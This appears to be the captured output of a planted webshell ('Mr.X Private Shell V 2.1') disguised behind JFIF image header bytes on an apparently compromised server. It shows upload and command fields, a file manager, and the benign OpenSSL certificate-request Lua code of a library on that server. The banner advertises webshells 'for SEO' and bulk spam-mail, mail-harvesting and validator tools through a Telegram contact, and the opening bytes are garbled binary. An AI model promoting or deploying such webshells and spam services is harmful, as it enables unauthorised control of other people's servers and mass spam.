����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
local ffi = require "ffi"

require "resty.openssl.include.ossl_typ"
require "resty.openssl.include.evp"
require "resty.openssl.include.objects"
require "resty.openssl.include.x509"
require "resty.openssl.include.stack"

local asn1_macro = require "resty.openssl.include.asn1"

local OPENSSL_3X = require("resty.openssl.version").OPENSSL_3X

asn1_macro.declare_asn1_functions("X509_REQ", asn1_macro.has_new_ex)

ffi.cdef [[
  int X509_REQ_set_subject_name(X509_REQ *req, X509_NAME *name);

  EVP_PKEY *X509_REQ_get_pubkey(X509_REQ *req);
  int X509_REQ_set_pubkey(X509_REQ *x, EVP_PKEY *pkey);

  int X509_REQ_set_version(X509_REQ *x, long version);

  int X509_CRL_add_ext(X509_CRL *x, X509_EXTENSION *ex, int loc);
  X509_EXTENSION *X509_CRL_get_ext(const X509_CRL *x, int loc);
  int X509_CRL_get_ext_by_NID(const X509_CRL *x, int nid, int lastpos);

  int i2d_re_X509_REQ_tbs(X509_REQ *req, unsigned char **pp);
  void X509_ATTRIBUTE_free(X509_ATTRIBUTE *a);
  // int X509_REQ_get_attr_count(const X509_REQ *req);
  // int X509_REQ_get_attr_by_NID(const X509_REQ *req, int nid, int lastpos);
  X509_ATTRIBUTE *X509_REQ_delete_attr(X509_REQ *req, int loc);

  // int *X509_REQ_get_extension_nids(void);

  int X509_REQ_sign(X509_REQ *x, EVP_PKEY *pkey, const EVP_MD *md);
  int X509_REQ_verify(X509_REQ *a, EVP_PKEY *r);

  int i2d_X509_REQ_bio(BIO *bp, X509_REQ *req);
  X509_REQ *d2i_X509_REQ_bio(BIO *bp, X509_REQ **req);

  // STACK_OF(X509_EXTENSION)
  OPENSSL_STACK *X509_REQ_get_extensions(X509_REQ *req);
  // STACK_OF(X509_EXTENSION)
  int X509_REQ_add_extensions(X509_REQ *req, OPENSSL_STACK *exts);

  int X509_REQ_check_private_key(X509_REQ *x, EVP_PKEY *k);

  X509_NAME *X509_REQ_get_subject_name(const X509_REQ *req);
  long X509_REQ_get_version(const X509_REQ *req);

  int X509_REQ_get_signature_nid(const X509_REQ *crl);
]]

if OPENSSL_3X then
  ffi.cdef [[
    // int X509_REQ_verify_ex(X509_REQ *a, EVP_PKEY *pkey, OSSL_LIB_CTX *libctx,
    //                       const char *propq);
  ]]
end

Filemanager

Name Type Size Permission Actions
altname.lua File 1017 B 0644
crl.lua File 1.94 KB 0644
csr.lua File 1.97 KB 0644
extension.lua File 1.04 KB 0644
init.lua File 2.93 KB 0644
name.lua File 843 B 0644
revoked.lua File 642 B 0644